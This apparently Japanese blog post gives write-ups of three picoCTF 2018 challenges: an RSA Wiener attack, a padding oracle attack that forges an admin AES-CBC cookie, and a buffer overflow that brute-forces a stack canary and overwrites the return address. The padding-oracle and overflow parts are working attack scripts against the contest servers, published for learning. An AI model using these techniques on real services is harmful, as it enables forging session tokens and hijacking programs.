原理がわかったところで、ライブラリを探します。自分で実装するのも素敵ですが、もうあるなら使ってしまえ。
こちら の紹介記事より、上記のリンク先が使いやすそうだったので使います。実際すぐに使えて、かなり高速に動作しました。
installも下記コマンドのみ。
python3 -m pip install owiener
import owiener from Crypto.Util.number import * e = 6738627569764131841596986710255045606820236127894937701990391021253397192736581531435216759792196995275704063925220872339913132329290736242039498583201867919055581401922159106765110550831194285765320304406753071586294935488836468971191279382649703673472721422101950461807278300795263965522432895776370578673 n = 70559104495867056798648620870743716877165332339646993477447556536169338843325985592853459144671866828468416238611151990819761456057633324987145329708787494063253279858311699123119479225046066260851194441684773478470276668206386196067454182432407706454895712657160214095358424327133519342030981648232858667563 d = owiener.attack(e, n) if d is None: print("Failed") else: print("Hacked d={}".format(d)) c = 2123495377777788765266854282946308193562039712995726411595205293721321311006846262521530846236643487443000878396957368791965231280078063222450362844034405188737728951199390894628705120648537732419398793373323950281934052394077135896269047568644975174826324865056201993852106380983833935365866759239285250273 plain = pow(c, d, n) print(long_to_bytes(plain).strip())
サンプルコードに問題の数値を当てはめ、最後に導かれた d
を使って復号・表示するだけ。
実行結果
$ python solve.py Hacked d=65537 b'picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_1245032}'
[Crypto] Magic Padding Oracle (450pt)
Can you help us retreive the flag from this crypto service? Connect with nc 2018shell.picoctf.com 24933. We were able to recover some Source Code.
DLできるソースは下記
#!/usr/bin/python2 import os import json import sys import time from Crypto.Cipher import AES cookiefile = open("cookie", "r").read().strip() flag = open("flag", "r").read().strip() key = open("key", "r").read().strip() welcome = """ Welcome to Secure Encryption Service version 1.51 """ def pad(s): return s + (16 - len(s) % 16) * chr(16 - len(s) % 16) def isvalidpad(s): return ord(s[-1])*s[-1:]==s[-ord(s[-1]):] def unpad(s): return s[:-ord(s[len(s)-1:])] def encrypt(m): IV="This is an IV456" cipher = AES.new(key.decode('hex'), AES.MODE_CBC, IV) return IV.encode("hex")+cipher.encrypt(pad(m)).encode("hex") def decrypt(m): cipher = AES.new(key.decode('hex'), AES.MODE_CBC, m[0:32].decode("hex")) return cipher.decrypt(m[32:].decode("hex")) # flush output immediately sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0) print welcome print "Here is a sample cookie: " + encrypt(cookiefile) # Get their cookie print "What is your cookie?" cookie2 = sys.stdin.readline() # decrypt, but remove the trailing newline first cookie2decoded = decrypt(cookie2[:-1]) if isvalidpad(cookie2decoded): d=json.loads(unpad(cookie2decoded)) print "username: " + d["username"] print "Admin? " + d["is_admin"] exptime=time.strptime(d["expires"],"%Y-%m-%d") if exptime > time.localtime(): print "Cookie is not expired" else: print "Cookie is expired" if d["is_admin"]=="true" and exptime > time.localtime(): print "The flag is: " + flag else: print "invalid padding"
とりあえず何も見ずに nc
でつないでみます。
$ nc 2018shell.picoctf.com 24933 Welcome to Secure Encryption Service version 1.51 Here is a sample cookie: 5468697320697320616e204956343536d6ca0a2883280762915414c54e97df1b40871b72f45ec7f9510a080095436d514129e137aaac86a0f7fa8bd3d250b9d1df35b668fcb93f00bb06692560a3fed8a3b523d385f1477b6daac14ff2416c67 What is your cookie?
配布されたソースが動いているようです。最初に cookie, flag, key ファイルを読み込んでおり、我々に提示される sample cookie は、cookieファイルの文字列をencrypt()
関数でAES暗号したもののようです。
ソースのencrypt
関数では、IV
が固定で入れてあるのがわかります。
"What is your cookie?" で、入力された文字列はdecrypt()
関数で復号され、もしisvalidpad()
関数で有効なパディングと判断されたら下記の処理が入ります。
- 入力文字列をdecrypt、unpadした結果のファイルをjson.load
- username, is_admin, expires の値を確認
- is_admin が
true
かつ expire の値が今より大きければ flag を表示
ここで突如現れた usrename, is_admin, expires。問題から推測するに、もとのcookieを復号するとこれが書かれていて、ちょっと書き換えると通るのでは?
ということで、与えられた cookie をそのまま返してみます。
username: guest Admin? false Cookie is expired
ということで、与えられた cookie は username = guest, is_admin = false, expires は過去の値が入っていることがわかりました。
ヒントを見てみます。
Paddding Oracle Attack
リンク先はChromeの警告が。検索すると、Rintaroさんの記事がHit。この解説がとてもわかり易かった。
Padding Oracle AttackによるCBC modeの暗号文解読と改ざん - security etc...
サービスの実装によってはこのCBCモードに対してパディングオラクル攻撃を適用することができる。
Padding Oracle Attackとは、暗号アプリケーションが文字列を復号できるかどうか(復号時のパディング情報が合っているか)の情報を返す場合、攻撃者がこの復号成否情報を用いて平文の特定や暗号文の改ざんができてしまう攻撃である。
今回使われているAESの暗号モードはCBCのようだし、復号の成否が観測可能なのでこの方法が使えそう!
まずは、sample_cookie を解読してみます
上記、Rintaroさんの記事に攻撃コードも載っていたので参考にさせていただいて組んでみました。
python2 -> python3、地味に面倒…。そしてあんまりすっきりしないコードになってしまったがまぁ良いか!
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # this code refers bellow. # http://rintaro.hateblo.jp/entry/2017/12/31/174327 from pwn import * import binascii host = "2018shell.picoctf.com" port = 24933 sample_cipher = b"5468697320697320616e204956343536d6ca0a2883280762915414c54e97df1b40871b72f45ec7f9510a080095436d514129e137aaac86a0f7fa8bd3d250b9d1df35b668fcb93f00bb06692560a3fed8a3b523d385f1477b6daac14ff2416c67" block_size = 16 sample_cipher = binascii.unhexlify(sample_cipher.zfill(len(sample_cipher) + len(sample_cipher) % block_size*2)) blocks = [] def is_valid_padding(data): r = remote(host, port) r.recvuntil("What is your cookie?") r.sendline(data) res = r.recvall() if b"invalid padding" in res or b"TypeError" in res: return False print(res) return True for i in range(len(sample_cipher) // block_size): blocks.append(sample_cipher[i*block_size:(i+1)*block_size]) blocks.reverse() plain_text = b"" for i in range(len(blocks)-1): c_target = binascii.hexlify(blocks[0]) c_prev = binascii.hexlify(blocks[1]) print('c_prev: ' + str(c_prev)) print('c_target: ' + str(c_target)) blocks.pop(0) m_prime = 1 c_prev_prime = 0 m = Dec_ci = b"" while True: attempt_byte = b"\x00" * (block_size - m_prime) + bytes([c_prev_prime]) adjusted_bytes = b"" for c in Dec_ci: adjusted_bytes += bytes([c ^ m_prime]) payload = binascii.hexlify(attempt_byte) + binascii.hexlify(adjusted_bytes) + c_target print(payload) if is_valid_padding(payload): print('---------------valid!!!!!-------------') print('c_prev_prime: ' + str(c_prev_prime) + ', m_prime: ' + str(m_prime)) m += bytes([c_prev_prime ^ m_prime ^ binascii.unhexlify(c_prev)[::-1][m_prime-1]]) Dec_ci = bytes([c_prev_prime ^ m_prime]) + Dec_ci m_prime += 1 c_prev_prime = 0 if m_prime <= block_size: continue break c_prev_prime += 1 if c_prev_prime > 0xff: print('[ERROR] not found.') raise Exception print("Dec[" + str(len(blocks)) + "]: " + repr(binascii.hexlify(Dec_ci).zfill(block_size*2))) print("m[" + str(len(blocks)) + "]: " + repr(m[::-1])) plain_text = m[::-1] + plain_text print("plain_text: " + repr(b"*" * (len(sample_cipher)-len(plain_text)-block_size) + plain_text))
実行結果
plain_text: b'{"username": "guest", "expires": "2000-01-07", "is_admin": "false"}\r\r\r\r\r\r\r\r\r\r\r\r\r'
おお、出てきました!予想したのほぼそのままでしたね。
ちなみに毎回つなぎに行くので、結構時間かかりました。数時間?そして何より、これ、まだFlagじゃないんですねー!!!!
むしろこのフェーズは不要でした。
では、好きな暗号文を渡すには?
上記解説記事の続きに出てくる Encryption Attack がこれにあたります。
今回、上記のプログラムを書き換えてAttackを試みたのですが、最後の方でうまい具合に動かなくなる(該当の値が見つからない)バグが取れず。。。
せっかくなので、条件に与えられているけど使わなかった IV
を使う下記のpythonライブラリを使って解きました。
GitHub - mwielgoszewski/python-paddingoracle: A portable, padding oracle exploit API
padding oracle で guthubリポジトリ検索するとかなりHitします。このライブラリ、installも pip install
でできるので使いやすい。攻撃もREADMEのサンプルコードをちょいと書き換えるだけでできました。
ただ python3 に対応していない。そして、原理をフムフムしながら組んだ上のコードの改造で解きたかった…!
#!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * from paddingoracle import BadPaddingException, PaddingOracle import json host = "2018shell.picoctf.com" port = 24933 IV = "This is an IV456" block_size = 16 attack_json = {"username": "admin", "expires": "2019-05-01", "is_admin": "true"} class PadBuster(PaddingOracle): def oracle(self, data, **kwargs): while True: try: print(data) r = remote(host, port) r.recvuntil("What is your cookie?") r.sendline(str(data).encode('hex')) res = r.recvall() print res if "invalid padding" in res or "TypeError" in res: raise BadPaddingException return except (socket.error): print 'Retrying request in %.2f seconds...', self.wait time.sleep(self.wait) continue if __name__ == '__main__': plaintext = json.dumps(attack_json) padbuster = PadBuster() encrypted_cookie = padbuster.encrypt(plaintext, block_size, iv=IV) print 'Encrypted attack_json: %r' % encrypted_cookie
実行結果
(前略) Encrypted attack_json: bytearray(b'\xcc\xb4c\xfac]\xfc\x81\x83\xa6J\x92\x15En\x9c\x00\xe7\xc5_\xc4\xd29k".\xc8\x90\xb0\x85\xa0\x04\xf6\x18\xa7\xa6\x94@\x83\xb82\xf7\xfc\xfb\x98i.+1t\xf1\xf1\xd7\xae\xb4\xa0df\xfc\x02\x89\xed\xea\xafb\xfb\xe5B{\x9d&\x1b\x06\x9f\xe2K4.H\xe8This is an IV456')
hex encode
ccb463fa635dfc8183a64a9215456e9c00e7c55fc4d2396b222ec890b085a004f618a7a6944083b832f7fcfb98692e2b3174f1f1d7aeb4a06466fc0289edeaaf62fbe5427b9d261b069fe24b342e48e85468697320697320616e204956343536
このcookieを送り込んであげます。
$ nc 2018shell.picoctf.com 24933 Welcome to Secure Encryption Service version 1.51 Here is a sample cookie: 5468697320697320616e204956343536d6ca0a2883280762915414c54e97df1b40871b72f45ec7f9510a080095436d514129e137aaac86a0f7fa8bd3d250b9d1df35b668fcb93f00bb06692560a3fed8a3b523d385f1477b6daac14ff2416c67 What is your cookie? ccb463fa635dfc8183a64a9215456e9c00e7c55fc4d2396b222ec890b085a004f618a7a6944083b832f7fcfb98692e2b3174f1f1d7aeb4a06466fc0289edeaaf62fbe5427b9d261b069fe24b342e48e85468697320697320616e204956343536 username: admin Admin? true Cookie is not expired The flag is: picoCTF{0r4cl3s_c4n_l34k_ae6a1459}
うおー!flag取れたー!!!
これ、前者のプログラムも後者のプログラムも、まわし切るのに数時間かかったので、うまく行ったときの喜びは格別。
POODLE
この Padding Oracle Attack, 調べてみると、なんと2014年のPOODLEの脆弱性にも関連してたんですねー!!!知らなかった!
相次ぐSSL関連の脆弱性 その2 ~POODLE脆弱性とは~ | グローバルサインブログ
POODLEとは「Padding Oracle On Downgraded Legacy Encryption」の頭文字を取ったもので、SSLのバージョン3.0に存在する脆弱性(CVE-2014-3566)のことを指します。
当時はセキュリティ何もわからん民だったけど「あなたのシステムに影響ありますか?調査してください」ってHeartbleedと合わせて投げられて、もう泣きそうだった記憶が。自分が興味を持ってセキュリティ始めるきっかけだった…のかもしれない。
[Binary] buffer overflow 3 (450pt)
It looks like Dr. Xernon added a stack canary to this program to protect against buffer overflows. Do you think you can bypass the protection and get the flag? You can find it in /problems/buffer-overflow-3_0_dcd896c1491ad710043225eda6abcd8a. Source.
今回も実行ファイルとソースファイルが配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <wchar.h> #include <locale.h> #define BUFSIZE 32 #define FLAGSIZE 64 #define CANARY_SIZE 4 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); puts(buf); fflush(stdout); } char global_canary[CANARY_SIZE]; void read_canary() { FILE *f = fopen("canary.txt","r"); if (f == NULL) { printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fread(global_canary,sizeof(char),CANARY_SIZE,f); fclose(f); } void vuln(){ char canary[CANARY_SIZE]; char buf[BUFSIZE]; char length[BUFSIZE]; int count; int x = 0; memcpy(canary,global_canary,CANARY_SIZE); printf("How Many Bytes will You Write Into the Buffer?\n> "); while (x<BUFSIZE) { read(0,length+x,1); if (length[x]=='\n') break; x++; } sscanf(length,"%d",&count); printf("Input> "); read(0,buf,count); if (memcmp(canary,global_canary,CANARY_SIZE)) { printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n"); exit(-1); } printf("Ok... Now Where's the Flag?\n"); fflush(stdout); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges int i; gid_t gid = getegid(); setresgid(gid, gid, gid); read_canary(); vuln(); return 0; }
ソースを読む限り、まず read_canary()
関数で canary.txt
ファイルを読み込み char global_canary[4]
に保存、その後 vuln()
関数を呼び出しています。
vuln関数では、char canary[4]
に global_anary をコピー、何バイトBufferに書き込みたいかを聞かれ、入力します。
32より小さい数値を入力した場合は、ここで入力した数値分、文字列をinputから読み込み、buf[32]
に格納します。
その後、もし canary
と global_canary
の値が異なっていれば強制終了。そうでない場合は fflush(stdout)
が呼ばれます。
今回も最終的に、 win()
関数がcallできれば、flagが表示されるようです。
picoCTFのshell serverの指定のdirectry上には、下記ファイルが置いてあります。
/problems/buffer-overflow-3_0_dcd896c1491ad710043225eda6abcd8a$ ls canary.txt flag.txt vuln vuln.c
flag.txt
とcanary.txt
は読み込み禁止になっています。
$ ./vuln How Many Bytes will You Write Into the Buffer? > 100 Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa *** Stack Smashing Detected *** : Canary Value Corrupt!
試しに、 read()
関数で BufferOverflowさせると、canaryの値が合わなくなるようです。ということは、canaryを上書きしてしまっているっぽいですね。
このcanaryというのは、local変数と ebp の間において関数の最後にcanaryのチェックをすることによってスタックバッファオーバーフローを検知する機構だそうです。bufferoverflow
canary
的なワードで調べるとたくさん出てきました。下記は日本語wikipedia。
ちなみに、canaryは実行毎にランダムな値を割り振ることもあるそうですが、今回はファイルから読み出しているので毎回変わりません。良かった。
vuln関数を確認してみます。
[0x080488b3]> s sym.vuln [0x080487c3]> pdf / (fcn) sym.vuln 240 | sym.vuln (); | ; var size_t nbyte @ ebp-0x54 | ; var char *s @ ebp-0x50 | ; var void *local_30h @ ebp-0x30 | ; var void *s1 @ ebp-0x10 | ; var void *buf @ ebp-0xc | ; CALL XREF from sym.main (0x80488f9) | 0x080487c3 55 push ebp | 0x080487c4 89e5 mov ebp, esp | 0x080487c6 83ec58 sub esp, 0x58 ; 'X' | 0x080487c9 c745f4000000. mov dword [buf], 0 | 0x080487d0 a158a00408 mov eax, dword [obj.global_canary] ; [0x804a058:4]=0 | 0x080487d5 8945f0 mov dword [s1], eax | 0x080487d8 83ec0c sub esp, 0xc | 0x080487db 68908a0408 push str.How_Many_Bytes_will_You_Write_Into_the_Buffer ; 0x8048a90 ; "How Many Bytes will You Write Into the Buffer?\n> " ; const char *format | 0x080487e0 e81bfdffff call sym.imp.printf ; int printf(const char *format) | 0x080487e5 83c410 add esp, 0x10 | ,=< 0x080487e8 eb2b jmp 0x8048815 | | ; CODE XREF from sym.vuln (0x8048819) | .--> 0x080487ea 8b45f4 mov eax, dword [buf] | :| 0x080487ed 8d55b0 lea edx, dword [s] | :| 0x080487f0 01d0 add eax, edx | :| 0x080487f2 83ec04 sub esp, 4 | :| 0x080487f5 6a01 push 1 ; 1 ; size_t nbyte | :| 0x080487f7 50 push eax ; void *buf | :| 0x080487f8 6a00 push 0 ; int fildes | :| 0x080487fa e8f1fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | :| 0x080487ff 83c410 add esp, 0x10 | :| 0x08048802 8d55b0 lea edx, dword [s] | :| 0x08048805 8b45f4 mov eax, dword [buf] | :| 0x08048808 01d0 add eax, edx | :| 0x0804880a 0fb600 movzx eax, byte [eax] | :| 0x0804880d 3c0a cmp al, 0xa ; 10 | ,===< 0x0804880f 740c je 0x804881d | |:| 0x08048811 8345f401 add dword [buf], 1 | |:| ; CODE XREF from sym.vuln (0x80487e8) | |:`-> 0x08048815 837df41f cmp dword [buf], 0x1f | |`==< 0x08048819 7ecf jle 0x80487ea | | ,=< 0x0804881b eb01 jmp 0x804881e | | | ; CODE XREF from sym.vuln (0x804880f) | `---> 0x0804881d 90 nop | | ; CODE XREF from sym.vuln (0x804881b) | `-> 0x0804881e 83ec04 sub esp, 4 | 0x08048821 8d45ac lea eax, dword [nbyte] | 0x08048824 50 push eax ; ... | 0x08048825 68c28a0408 push 0x8048ac2 ; const char *format | 0x0804882a 8d45b0 lea eax, dword [s] | 0x0804882d 50 push eax ; const char *s | 0x0804882e e86dfdffff call sym.imp.__isoc99_sscanf ; int sscanf(const char *s, const char *format, ...) | 0x08048833 83c410 add esp, 0x10 | 0x08048836 83ec0c sub esp, 0xc | 0x08048839 68c58a0408 push str.Input ; 0x8048ac5 ; "Input> " ; const char *format | 0x0804883e e8bdfcffff call sym.imp.printf ; int printf(const char *format) | 0x08048843 83c410 add esp, 0x10 | 0x08048846 8b45ac mov eax, dword [nbyte] | 0x08048849 83ec04 sub esp, 4 | 0x0804884c 50 push eax ; size_t nbyte | 0x0804884d 8d45d0 lea eax, dword [local_30h] | 0x08048850 50 push eax ; void *buf | 0x08048851 6a00 push 0 ; int fildes | 0x08048853 e898fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | 0x08048858 83c410 add esp, 0x10 | 0x0804885b 83ec04 sub esp, 4 | 0x0804885e 6a04 push 4 ; 4 ; size_t n | 0x08048860 6858a00408 push obj.global_canary ; 0x804a058 ; const void *s2 | 0x08048865 8d45f0 lea eax, dword [s1] | 0x08048868 50 push eax ; const void *s1 | 0x08048869 e8d2fcffff call sym.imp.memcmp ; int memcmp(const void *s1, const void *s2, size_t n) | 0x0804886e 83c410 add esp, 0x10 | 0x08048871 85c0 test eax, eax | ,=< 0x08048873 741a je 0x804888f | | 0x08048875 83ec0c sub esp, 0xc | | 0x08048878 68d08a0408 push str.Stack_Smashing_Detected_____:_Canary_Value_Corrupt ; 0x8048ad0 ; "*** Stack Smashing Detected *** : Canary Value Corrupt!" ; const char *s | | 0x0804887d e8eefcffff call sym.imp.puts ; int puts(const char *s) | | 0x08048882 83c410 add esp, 0x10 | | 0x08048885 83ec0c sub esp, 0xc | | 0x08048888 6aff push -1 ; int status | | 0x0804888a e8f1fcffff call sym.imp.exit ; void exit(int status) | | ; CODE XREF from sym.vuln (0x8048873) | `-> 0x0804888f 83ec0c sub esp, 0xc | 0x08048892 68088b0408 push str.Ok..._Now_Where_s_the_Flag ; 0x8048b08 ; "Ok... Now Where's the Flag?" ; const char *s | 0x08048897 e8d4fcffff call sym.imp.puts ; int puts(const char *s) | 0x0804889c 83c410 add esp, 0x10 | 0x0804889f a150a00408 mov eax, dword [obj.stdout__GLIBC_2.0] ; obj.__TMC_END ; [0x804a050:4]=0 | 0x080488a4 83ec0c sub esp, 0xc | 0x080488a7 50 push eax ; FILE *stream | 0x080488a8 e863fcffff call sym.imp.fflush ; int fflush(FILE *stream) | 0x080488ad 83c410 add esp, 0x10 | 0x080488b0 90 nop | 0x080488b1 c9 leave \ 0x080488b2 c3 ret
canary は var void *s1 @ ebp-0x10
に、 bufは var void *local_30h @ ebp-0x30
に格納されるようです。0x30 - 0x10 = 0x20
(=32d) なので、bufの直後にcanaryのbufが来ていることがわかります。だから33文字入れただけでもcanaryが変わって怒られたんですね。
ここは今までどおり bufferoverflow の脆弱性を利用して vuln() 関数から win() 関数に飛ばしつつ、正しいcanaryをセットする、というミッションになりそう。
まずはcanaryを推測します。たかだか4byteなので、総当たりでいけそう。上記で試したように、1byteずつ入れていけば重複順列にしなくても大丈夫。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * # picoCTF の shell serverに接続 print('picoCTF shell server login') print('name:') pico_name = input('>>') print('password') pico_pass = input('>>') pico_ssh = ssh(host = '2018shell.picoctf.com', user=pico_name, password=pico_pass) pico_ssh.set_working_directory('/problems/buffer-overflow-3_0_dcd896c1491ad710043225eda6abcd8a') canary = b'' for i in range(4): for c in range(0xff): attack = b'a'*32 + canary + bytes([c]) print(attack) p = pico_ssh.process('./vuln') p.recvuntil('How Many Bytes will You Write Into the Buffer?\n> ') p.sendline(str(32+i+1)) p.recvuntil('Input> ') p.sendline(attack) res = p.recvall() if b'Canary Value Corrupt!' not in res: print(res) canary += bytes([c]) break print(canary)
実行結果
(前略) b'Rgcd'
flag
とかかと思ってたけど全然違った。勘でやってみなくてよかった。
更にradare2で、win()
関数のアドレスを調べると 0x080486eb
。
stackは下記のようになっているので、戻り値のところに上記アドレスがくるように調節する。
0x20 | buf | 32 0x10 | canary | 4 + 12 0x4 | ebp | 4 0x4 | return | 4
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * # picoCTF の shell serverに接続 ※上と同じなので割愛 win_adder = 0x080486eb canary = b"Rgcd" attack = b"a"*32 + canary + b"a"*(16-4+4) + p32(win_adder) p = pico_ssh.process('./vuln') p.recvuntil('How Many Bytes will You Write Into the Buffer?\n> ') p.sendline(str(100)) p.recvuntil('Input> ') p.sendline(attack) print(p.recvall())
実行結果
(前略) b"Ok... Now Where's the Flag?\npicoCTF{eT_tU_bRuT3_F0Rc3_6b01eec0}\n"
うーん、今回も勉強になった!